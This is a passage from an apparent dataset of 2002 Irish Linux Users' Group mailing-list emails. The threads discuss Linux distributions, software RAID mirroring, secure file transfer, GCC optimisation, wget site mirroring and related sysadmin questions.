Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,,"Tue, 13 Aug 2002 10:27:01 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On 13.08.2002 at 08:42:44, ""John P. Looney"" wrote: > Vendors wrote their own wierd-ass installers & config tools to lock > people to their OS, they added all sorts of functionality that was not > availible to other OSes to make themselves different from the competition > (Motif on non-free OSes, incompatible filesystems etc). Not sure Motif is a good example, really. When Mozilla was going through its ""Let's Use Motif/Let's Not"" phase, Jamie Zawinski mentioned in passing that the installed base of Motif-bearing systems kicked the installed base of Linux-bearing systems into a huddled ball. Something, perhaps, to do with the fact that every Sun/Solaris box since version mumble shipped with it, plus every HP/UX box, and for all I know every other mainstream proprietary Linux. Motif was more a unifier across Unix subspecies than a differentiator. Now, filenames longer than 14 characters, maybe, or the options for ps (are we sysv or bsd?), or the whole /dev tree, or the libc implementation... Cheers, Waider. -- waider@waider.ie / Yes, it /is/ very personal of me. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Tue, 13 Aug 2002 11:18:22 +0100",RE: [ILUG] SUSE 8 disks? (thread changed slightly),"> Of course, it would require a minimum of EUR300,000 in funding, which is > the > reason I have not started this project myself... :( > > - Matthew It would? Sounds like you are talking about setting up a company, to be a vendor.... I'd venture the early days of Debian, Slackware and other involveds there was no such financing. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,,"Tue, 13 Aug 2002 10:59:55 +0100",[ILUG] Irish Copyright Law: some analyses,"Two interesting analyses of the Irish implementation of copyright as led by, as best I can tell, anticipation of the EUCD (since the Irish law was passed in 2000, and the EUCD is somewhat more recent than that). The pieces of interest are the papers by Prof. Robert Clark, who perhaps might not be a bad choice of speaker for some future LUG gathering. One of the more eye-opening comments in the second of his papers is that Irish legislation is, in effect, more draconian than the DMCA. http://www.cai.ie/Past%20Events.html#2002 There are some other interesting pieces here, too, for anyone concerned about copyright and the like in Ireland. Cheers, Waider. Props to Danny at NTK (www.ntk.net) for the link. -- waider@waider.ie / Yes, it /is/ very personal of me. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Smith, Graham - Computing Technician"" ",ilug@linux.ie,"Tue, 13 Aug 2002 12:06:59 +0100",RE: [ILUG] I hate noise!,"I ususally disconnect the internal speaker - thats pretty sure to stop any beeping! G. ___________________________ Graham Smith, Network Administrator, Department of Computing, Institute of Technology, Tallaght, Dublin 24 Phone: + 353 (01) 4042840 -----Original Message----- From: ibhear [mailto:eibhear.geo@yahoo.com] Sent: 12 August 2002 16:49 To: ibhear; Padraig Brady; ilug@linux.ie Subject: Re: [ILUG] I hate noise! -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Baldwin_James@emc.com,"Graham.Smith@it-tallaght.ie, ilug@linux.ie","Tue, 13 Aug 2002 07:12:22 -0400",RE: [ILUG] I hate noise!,"Try that on a Sun :( you have to disect the keyboard -----Original Message----- From: Smith, Graham - Computing Technician [mailto:Graham.Smith@it-tallaght.ie] Sent: Tuesday, August 13, 2002 12:07 PM To: ilug@linux.ie Subject: RE: [ILUG] I hate noise! I ususally disconnect the internal speaker - thats pretty sure to stop any beeping! G. ___________________________ Graham Smith, -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,Irish LUG list ,"Tue, 13 Aug 2002 13:59:06 +0200",Re: [ILUG] gargnome & sawfish..,"John P. Looney wrote: > I decided to try out GarGnome, to see what gnome2 looks like. It's > pretty, I'll give it that. > > However, there seemed to be loads of bugs - sawfish threw wobblers all > over the place, so I tryed out metacity - which doesn't have a GUI > configurator, and arsed if I'm going back to the fvwm days when you had to > set settings by hand, without an idea what the values looked like. Have you tried gconf-editor? It's a GUI front-end to gconf settings (and metacity has it's settings handled by gconf, like all good gnome2 apps). It's true there's no designated metacity configurator - but the whole point of metacity is to have reasonable defaults, and thus get away from the need for settings altogether, and have the window manager be not in the way (as so many are). As to the sawfish issue, no idea, sorry - are you sure that gnome2's panel handles 1.4 applets at all? Cheers, Dave. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Justin MacCarthy"" ","""Ilug@Linux.Ie"" ","Tue, 13 Aug 2002 13:09:09 +0100",[ILUG] Linux: the film.,"Linux: the film. http://www.revolution-os.com/ (trailer + first 8 mins online) I wonder if this will ever get to Ireland? Otherwise, I wonder if it would be possible to get the Trinity Internet Society or somewhere to show it? Justin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG list ,"Tue, 13 Aug 2002 13:10:30 +0100",Re: [ILUG] gargnome & sawfish..,"On Tue, Aug 13, 2002 at 01:59:06PM +0200, David Neary mentioned: > Have you tried gconf-editor? It's a GUI front-end to gconf > settings (and metacity has it's settings handled by gconf, like > all good gnome2 apps). Hmm. It's even worse than using a text editor on a file. > It's true there's no designated metacity configurator - but the whole > point of metacity is to have reasonable defaults, and thus get away from > the need for settings altogether, and have the window manager be not in > the way (as so many are). Don't buy it. shift-alt-s should start a shell, alt-d should maximise a window vertically, alt-q should close a window, alt-w should shade it. These I've used for about eight years, and I'm not about to change them now. Stuff like alt-1 to go to workspace-1, I love - it just appeared in windowmaker about six years back, and I've also gotten used to it. > As to the sawfish issue, no idea, sorry - are you sure that > gnome2's panel handles 1.4 applets at all? Wierdly, I've gone back to sawfish & gnome 1.4 - and the keybindings still don't work. It's not fair. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Niall O Broin ,ilug@linux.ie,"Tue, 13 Aug 2002 12:22:14 +0100",[ILUG] Secure remote file access,"What are the best options available on Linux ? SFTP ? WebDAV ? Something else ? Linux servers - Linux and Mac OS-X clients. Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Declan ,ilug@linux.ie,"Tue, 13 Aug 2002 13:24:40 +0100",Re: [ILUG] Secure remote file access,"On Tue, Aug 13, 2002 at 12:22:14PM +0100, Niall O Broin wrote: > What are the best options available on Linux ? SFTP ? WebDAV ? Something > else ? Linux servers - Linux and Mac OS-X clients. > If you mean secure file transfer scp is good -- Redbrick - Dublin City University Networking Society Declan McMullen - Education Officer -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Stephen Shirley ,ilug@linux.ie,"Tue, 13 Aug 2002 13:23:45 +0100",Re: [ILUG] Secure remote file access,"On Tue, Aug 13, 2002 at 12:22:14PM +0100, Niall O Broin wrote: > What are the best options available on Linux ? SFTP ? WebDAV ? Something > else ? Linux servers - Linux and Mac OS-X clients. Can't speak for the other alternatives, but i've been using scp for years with sexy results. Steve, yes, it's a simpsons quote(ish). -- High salt diets are bad for you - but only outside marriage. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ","""Brian O'Donoghue"" , ","Tue, 13 Aug 2002 13:50:22 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Brian O'Donoghue asked: > > Of course, it would require a minimum of EUR300,000 in funding > > It would? Well, yes, if I were to add all the frilly pink bits and the crunchy chocolate flavoured pieces... :) Seriously, I can only see two reasons to start another distro: you have something fundamentally different to offer, or you are customising an existing distro for an unusual and specific situation. Between Mandrake/YellowDog, RedHat/SuSe and Debian you have enough options to cover most day-to-day requirements. And a lot of the specific situations are already covered (smoothwall, familiar, etc.) Therefore, if I were to create a new Linux distribution, I would have to spend time crafting it so that it offers a lot more than existing alternatives. My requirements normally involve better support/easier maintenance, and if one follows the logic through, this would require a company to be behind such an initiative. I imagine it would be possible to create a new distribution in about one week[1]. For example: take Debian as your base, slap a specific set of packages on CD, change a few config files, mention that it has been untested on most hardware variations, and voila, a ""new"" distie. :) - Matthew [1] That is, IT weeks. 1 IT week ~= two months. :) __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Donncha O Caoimh ,"ilug@linux.ie, Niall O Broin ","Tue, 13 Aug 2002 14:02:00 +0100",Re: [ILUG] Secure remote file access,"rsync over ssh.. very nice! Donncha. On Tuesday 13 August 2002 12:22, Niall O Broin wrote: > What are the best options available on Linux ? SFTP ? WebDAV ? Something > else ? Linux servers - Linux and Mac OS-X clients. > > > > Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,ilug@linux.ie,"Tue, 13 Aug 2002 14:07:26 +0100",Re: [ILUG] Secure remote file access,"On Tue, Aug 13, 2002 at 12:22:14PM +0100, Niall O Broin wrote: > What are the best options available on Linux ? SFTP ? WebDAV ? Something > else ? Linux servers - Linux and Mac OS-X clients. http://www.fs.net/ kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG list ,"Wed, 14 Aug 2002 08:42:53 +0100",Re: [ILUG] mirroring on a running system,"On Tue, Aug 13, 2002 at 04:10:57PM +0100, John P. Looney mentioned: > > I think this procedure is described in the RAID HOWTO for installing a > > new system, but it applies just as well to a running system. > > Just double checking (I'd be pissed if I just wiped my installation!)... Well, this mostly worked, despite Colm saying that ""you want the ""failed-disk"" *instead* of the second ""raid-disk"", not in addition to it"". I suppose that means instead of: > raiddev /dev/md0 > raid-level 1 > nr-raid-disks 2 > nr-spare-disks 0 > chunk-size 4 > persistent-superblock 1 > device /dev/hdg3 > raid-disk 0 > device /dev/hda5 > raid-disk 1 > > failed-disk 1 I should have had: > raiddev /dev/md0 > raid-level 1 > nr-raid-disks 2 > nr-spare-disks 0 > chunk-size 4 > persistent-superblock 1 > device /dev/hdg3 > raid-disk 0 > device /dev/hda5 > failed-disk 1 It likely means that I was just lucky I put the failed-disk directive after the raid-disk one :) Anyway. It's doesn't quite boot right, with /=/dev/md0 in fstab. On boot, I see: Partition check: hda: [PTBL] [2482/255/63] hda1 hda2 hda3 hda4 < hda5 > hdg: [PTBL] [2434/255/63] hdg1 hdg2 hdg3 floppy0: no floppy controllers found RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize ide-floppy driver 0.99.newide md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 md: Autodetecting RAID arrays. [events: 00000000] md: invalid raid superblock magic on hda2 md: hda2 has invalid sb, not importing! md: could not import hda2! [events: 00000004] [events: 00000002] [events: 00000004] md: autorun ... md: considering hdg3 ... md: adding hdg3 ... md: adding hda5 ... md: created md0 md: bind md: bind md: running: md: hdg3's event counter: 00000004 md: hda5's event counter: 00000004 md: RAID level 1 does not need chunksize! Continuing anyway. kmod: failed to exec /sbin/modprobe -s -k md-personality-3, errno = 2 md: personality 3 is not loaded! md :do_md_run() returned -22 md: md0 stopped. md: unbind md: export_rdev(hdg3) md: unbind md: export_rdev(hda5) md: considering hdg1 ... md: adding hdg1 ... md: created md1 md: bind md: running: md: hdg1's event counter: 00000002 md: RAID level 1 does not need chunksize! Continuing anyway. kmod: failed to exec /sbin/modprobe -s -k md-personality-3, errno = 2 md: personality 3 is not loaded! md :do_md_run() returned -22 md: md1 stopped. md: unbind md: export_rdev(hdg1) md: ... autorun DONE. Any ideas why ? My suspicion is that I've a lack of knowledge about how initrd works, so I'm not sure it's loading it. For a start, the / filesystem is being mounted as ext2, at first, not ext3. It does seem mounted as ext3 after the fsck is done - but that means that it's mounted as ext2 read only, fsck'ed and then remounted ext3. Losing the point of it. Given I can't pass the kernel parameters (I think), how then can I get it to load the initrd ? Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'ilug@linux.ie'"" ","Wed, 14 Aug 2002 09:22:27 +0100",RE: [ILUG] mirroring on a running system,"I don't see why not John, but I'd sure backup my data first ;--) So I suppose you could setup half of the raid1, copy your partitions across, vi lilo to append the new device labels, /dev/md0 instead of /dev/hda... re-run lilo, then raidhotadd /dev/xxx /dev/md0 [or is that the other way around?] I have never tried this so this could be bollix, I have setup root-raid systems but during install time, I have had drive failures on my ""production"" systems at home and successfully re-built the raid many times. IMHO linux software raid is extremely good. When are we going to have a pint? CW -------------------------- I've a running system, and I want to set it up so that the disks are mirrored. I'll win a little more read speed, and a lot more reliability. However, the RAID_HOWTO just mentions RAID 1 and RAID 0 on a machine that's new. They don't mention anything about an existing setup. Is it possible to setup disk mirroring on a running box ? Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ","""Wynne, Conor"" ","Wed, 14 Aug 2002 09:30:40 +0100",Re: [ILUG] mirroring on a running system,"On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: > When are we going to have a pint? Tuesday next week. Boars Head, Capel st. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'ilug@linux.ie'"" ","Wed, 14 Aug 2002 10:08:03 +0100",RE: [ILUG] mirroring on a running system,"All right, can't get pissed though as its a week-day. If we were to do it in Lucan, that would be another story ;--) Do we have many takers? CW ------------- On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: > When are we going to have a pint? Tuesday next week. Boars Head, Capel st. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Sorin Suciu ,ILUG@linux.ie,"Wed, 14 Aug 2002 02:26:19 +0100",[ILUG] Server Partitioning,"Hi, Does anyone use partitioning on a Linux server? What is the recommended solution? UML? Cheers, Sorin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Hilliard ,ilug@linux.ie,14 Aug 2002 16:52:37 +0100,Re: [ILUG] Compiling for X,"> Mmmph. You may actually need -L/usr/lib/X11 (or -L/usr/X11R6/lib) to > make this work. I'm sure ld/gcc is smart enough to cope with out of > order args. ld does not generally cope with out of order args by design. Nick -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Paul O Neil"" ",Ronan Cunniffe ,"Wed, 14 Aug 2002 12:56:09 -0700",Re: [ILUG] DHCP,"> Quoting Paul O'Neil : > > > Excuse me for asking an old question here but Ive been running SuSE with a > > cable modem for a couple months. About 5-6 weeks ago the internet access > > was > > not working and I rebooted noticing I came up with a new IP address, and it > > worked fine. How does it work exactly when the cable company releases and > > renews an ip address. Do they merely setup their system to issue new ip > > addresses when cusomters reboot their computer or does it take affect > > immediately and it caused the internet disruption that required a reboot or > > at least a network reload? If so, can this be detected automatically and > > taken care of or is that just how it works? > > A DHCP client daemon (dhcpcd, pump) can do this automatically. Some cable > companies apparently reassign the same address over and over when the leases run > out, so you get away without a daemon for long enough to make you think you > don't need one. :-) > > Ronan > > Is what your talking about, this process is running all the time. root 422 0.0 0.4 1332 500 ? S 03:18 0:00 /sbin/dhcpcd -D -N -Y -t 999999 -h cable-modem-1 eth0 If alright then maybe coincidence, I'll wait and see when I get another address. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Gary Coady ,"""'ilug@linux.ie'"" ","Wed, 14 Aug 2002 19:42:58 +0100",POTW (Was Re: [ILUG] mirroring on a running system),"Takers galore possibly (me inclusive). Especially when the subject is more on-topic :-) Gary. On Wed, Aug 14, 2002 at 10:08:03AM +0100, Wynne, Conor wrote: > All right, can't get pissed though as its a week-day. If we were to do > it in Lucan, that would be another story ;--) > > Do we have many takers? > > CW > > ------------- > On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: > > When are we going to have a pint? > > Tuesday next week. Boars Head, Capel st. > > Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Colm Buckley ,"ilug@linux.ie, ""John P. Looney"" ","Thu, 15 Aug 2002 00:04:36 +0100",Re: [ILUG] mirroring on a running system,"On Wed 14 Aug 2002 08:42, John P. Looney wrote: > It likely means that I was just lucky I put the failed-disk > directive after the raid-disk one :) Extremely lucky. The other way around would have toasted your existing volume. > Anyway. It's doesn't quite boot right, with /=/dev/md0 in fstab. On > boot, I see: In order to autodetect soft RAID volumes at boot, you need to set the partition type on all the relevant raw disk partitions to 0xFD. I'm not sure about the initrd stuff; as I don't use it myself. Colm -- Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name Office closed on Mondays. If you want anything on Monday, come on Tuesday. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Shane Kennedy ,ILUG ,"Wed, 14 Aug 2002 22:52:37 +0100",[ILUG] Serial port trouble,"Hi, Can anyone offer me any advice on using an MRi dual port PCI - serial card. MRi claim it works, but that not at 9600 baud. I AM using it at 9600, but I get a 10s delay on output, followed by just 16 bytes, repeated untill complete. Similarly, on input, I get a delay before the app' sees the data. TIA Shane -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,Aidan Kehoe ,"Sat, 20 Jul 2002 21:33:35 +0100",Re: [ILUG] How to copy some files,"On Sat, Jul 20, 2002 at 08:24:47PM +0100, Aidan Kehoe wrote: > Ar an 20 l de m 7, scrobh kevin lyda : > > actaully i think soft links were invented because you can't hard link > > directories. > But you could hard link directories, back when soft links were > being invented, AFAIK. that was before my time. all unix systems i've used didn't allow hard links to directories, or if they did they were restricted to root. the reason why is because you could cause infinite loops in the kernel - usually a bad place for infinite loops. > > apparently some systems limited soft links to the same device but > > gave up after a while. > Why? to make them consistent with hard links. > A better way of doing it would be a) have global unique filesystem > identifiers for every FS created (such that the chance of two of them > clashing is miniscule; 64 bits creatively used would do it, I'd say), > and b) implement the target info for the soft link as a {FSID, inode} > pair; the OS can work out if the thing linked to is now on a different > mount point, or has been moved. (HFS fans, is that what's done? Or are > aliases implemented differently?) let's call these super-soft-links. ln -ss % ln -ss foo bar % ls -i foo 111 foo % mv floyd foo % ls -i foo 222 foo and now bar no longer points to foo. % ln -ss foo bar % ls -i foo 111 foo % rm foo % touch floyd % ls -i floyd 111 floyd the fs would need to maintain a table of links going the other direction. so when the move command unlinks foo in the first example, it could check the table and mark that bar is now disconnected. the same would be true for the second example - and even more important since bar points to floyd if no table is consulted. and this all fails to handle nfs mounted file systems or filesystems that have dynamic inodes (the fat fs's and reiser lacks inodes i think). kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 John Gay ,kevin lyda ,"Sat, 27 Jul 2002 17:58:12 +0100",Re: [ILUG] Optimizing for Pentium Pt.2,"On Sat 27 Jul 2002 01:57, you wrote: > On Fri, Jul 26, 2002 at 11:24:30PM +0100, John Gay wrote: > > A while ago I asked what other packages I should optomize for Pentium. > > One person answered GlibC. This got me thinking about GCC itself, so I > > asked on another list and got a few answers, most were ""don't even think > > about it"" but a few suggested GCC and one pointed me to Linux From > > Scratch. > > why? > > or more specifically, what do you mean? on one hand you can optimise > how gcc is compiled. all that will do is make it generate the exact > same code just a smidge faster. and since gcc is such a memory pig, > you'd do better to buy more ram to up your fs cache hits and to keep > gcc's heap out of swap. > To explain what I mean: According to the PGCC site, GCC by itself is not very good at taking advantage of the pipelining features introduced with the Pentium family. The PGCC patches are supposed to make GCC generate tighter code, but your point about compiler bugs is well taken. This is why I am taking things slow and looking into these things. As Isaid, the PGCC site does not seem to have been updated in at least a year or more?!? I am also looking into GCC itself. Now that the 3.1. series is out, it might be better than when the PGCC patches were written. The bottom line is, Pentiums have better instruction sets than the original 386 instructions that they still support. The Pentium also started introducing pipelining so properly generated code can be upto 30% faster than equivulent code that performs the same function! As for why optimise GCC if it will only produce that same code only slightly faster? The speed is based on a percentage of the total compile time. The first time I compiled the qt libs, with only 16M and a LOT of swap, it took over 48 hours. I've now got 128M in the box but at 200Mhz any increase, distributed over such a long compile is still considerable. > on the other side you can look into patches to gcc that affect it's > code generation. um, ok, but keep in mind that compiler errors suck. > i can't express that enough. compilers should just work. perfectly. > always. doing anything that might affect that is, in my opinion, insane. > they're hard to trace and you'd better have a deep knowledge of what's > going on to either report bugs to the patch developers or to fix it > yourself. plus my understanding is that gcc would need major changes > to get large speed boosts on x86 chips. > My understanding, and I've followed the development of the Intel family since the 8080, each generation since the 386 has introduced better and faster instructions. I.E.: The 486 introduced I.E.E.E floating point instructions by incorporating an FPU on board. The first few generations were flaky, so Intel disabled the dodgy ones and sold then as 486SX, I.E. without the FPU. Later generations were better, this is why you only find slow 486SX's ;-) Therefore 486's, with working FPU's can calculate floats faster than 386's, but you must generate the proper codes to take advantage of this. The Pentium's improved the FPU logic and introduced pipelining. The first generations of Pentiums had faulty FPu logic programmed into them, the Pentium Bug, but subsequent ones were fine. These added instructions are faster again then the 486 equivulents. Also, the pipelining needs careful instruction ordering to take full advantage of it's speed improvements, again, something the compiler must know about to utilise to full effect. According the the PGCC site GCC does this poorly, but that info seems to be dated, GCC3.1.x might be better. This is one of the areas I am researching closely to get an answer. MMX added the ability to perform matrix calculations on int's with single instructions and using special DMA features within the Pentium to speed this up. Two problems with this: 1) int's are not very useful for most matrix calculations, floats would be betters. 2) this is not something that can be optimised well by a compiler. It need to be identified and provided for in the sources. I.E. not much use to anyone, but makes great ad copy ;-) The PentiumPro improved the pipeline enormously. Again, a properly written compiler should be able to optimise for this, once it can organise the code properly. The PIII added MMX-type instructions for floats! Now this IS useful! Graphic-Intensive programs can take greate advantage of this, but it must be provided for in the source code. Compilers can not, usually optimise for this sort of thing. XFree86 and DRI are two prime examples that do provide for this, so the PIII can run XFree86 and DRI quite a bit faster, IF it's compiled for these SSE instructions! Not sure what improvements the P4 introduce? I think it's mostly just speed improvements rather than any execution changes. So, The difference between the 386 and the PentiumMMX 'should' yield a significant speed boost if optimised correctly. There are faster floating point instructions and pipelining that need optimising for. I'm not sure if GCC can optimise properly for the pipelining, at least the PGCC group found significant improvements to add to GCC2.95.3 to gain speed improvements of upto 30%. 30% of 48 hours is 14.4 hours. Of course none of this will have any effect on O/I bound processes but GUI's are mostly CPU bound. I am also finding out about object pre-linking optimisations which should give even better performance for QT and KDE. Now if I had another PIII for my box, I could take advantage of those SSE instructions to optimise XFree86 as well! > kevin An, of course, I've loads of time on my hands now and I need something to keep me busy. At least I can say that I've sucessfully built a full Linux system, including KDE3 from scratch when I'm done ;-) Cheers, John Gay -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ssuciu@sitelite.com,"Wed, 14 Aug 2002 12:00:22 +0100",RE: [ILUG] Server Partitioning,"Partitioning is an ambiguous term but I think I know what you mean. Have you looked at: http://freevsd.org/ Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Eamonn=20Shinners?= ,ILUG ,"Fri, 16 Aug 2002 11:12:29 +0100 (BST)",[ILUG] [OT]:Bill Gates in Peru,"Hi guys, slightly OT. This comes from The Register from last month, but I only came across it; http://www.theregister.co.uk/content/4/26207.html Some/all of you may know that the government in Peru were going to instruct state bodies to look at using open source software in an attempt to save money over M$ licences. Well, read the above article. Eamonn __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Treanor"" ",,"Fri, 16 Aug 2002 11:34:23 +0100",[ILUG] Mirror a website,"Hi, This is driving me nuts. I'm trying to run a once off mirror of a website using wget. It's ignoring images and not recursing links (even though I've specified the --mirror flag). wget --mirror https://username:password@foobar.com/a/b/a/index.html Any ideas or alternative tools? ct -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Breathnach, Proinnsias (Dublin)"" ","""'ILUG'"" ","Fri, 16 Aug 2002 11:48:15 +0100",[ILUG] FW: Mac (clone) for sale...,"I've been asked to forward this on ... Anyone interested, give me a shout and I'll put you in touch with Ryan ... P > -----Original Message----- > Proinnsias, > > I'd be obliged if you could pass this along to all your Linux buddies.... > > For Sale: > Power Computing PowerCurve > (http://www.powerwatch.com/systems/pcurve.html) > Original 120Mhz PPC-601 daughter card > Slim Desktop case > 128MB RAM (new) > 2GB Apple (IBM) SCSI-2 HDD (new) > Ati Rage Video card (new) > 4 x Speed Toshiba CdRom (used, not apple but driver hacked - > available from web) > keyboard & mouse (new) > > Currently running MacOS9.1 (small partition) and Debian ""Woody"". OK > as is (think > Pentium 233ish) or ready for upgrade to G3-500 for some real > performance! > > Asking price EUR200, open to negotiation. > > Regards, > Ryan > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 prosthesis@eircom.net,ilug@linux.ie,"Fri, 16 Aug 2002 11:49:25 +0100",Re: [ILUG] Mirror a website,"You could try HTTrack, available here: http://www.httrack.com/index.php It does recursive grabs of stuff, gets pictures etc. Hello everyone, by the way. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """David Crozier"" ","""Kenn Humborg"" ","Fri, 16 Aug 2002 13:52:42 +0100",Re: [ILUG] Autorun CDs,"Apologies all. I have comitted a cardinal sin by not specifying that this was for a windows machine. ----- Original Message ----- From: ""Kenn Humborg"" To: ""David Crozier"" Cc: Sent: Friday, August 16, 2002 1:51 PM Subject: RE: [ILUG] Autorun CDs > > Cheers All for your words of wisdom. > > > > I came across this which has worked a treat:- > > > > http://www.avdf.com/mar97/art_autorun.html > > (This is all Windows-related autorun stuff). > > So why did you waste the time of those who looked > up Linux-related info for you? If you said that it > was for Windows, you'd probably have gotten both > more relevant answers and flames for asking this on > a _Linux_ mailing list. > > Sheesh... > > Later, > Kenn > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Fri, 16 Aug 2002 13:59:55 +0100",Re: [ILUG] Autorun CDs,"Kenn Humborg wrote: >>Cheers All for your words of wisdom. >> >>I came across this which has worked a treat:- >> >>http://www.avdf.com/mar97/art_autorun.html > > > (This is all Windows-related autorun stuff). Which was obvious since he mentioned: `start file.html` And the reason I didn't reply, Doh! Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug ,"Fri, 16 Aug 2002 14:40:43 +0100","[ILUG] mysql, C++ & [L]GPL","Hi, I'm going to be using MySQL in an upcoming project (and probably buying their support license), and I'm wondering if anyone else has used any libraries to link a proprietary C++ project to a MySQL database. From what I can see on the MySQL website, their MySQL++ library is under the GPL, but there's also some documents which list it as under the LGPL. Anyone got any experience with this, or has used a different library to link C++ and MySQL under Linux? Regards, Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug ,"Fri, 16 Aug 2002 14:48:49 +0100",Re: [ILUG] replacement xircom dongle?,"wintermute wrote: >>Anyone know 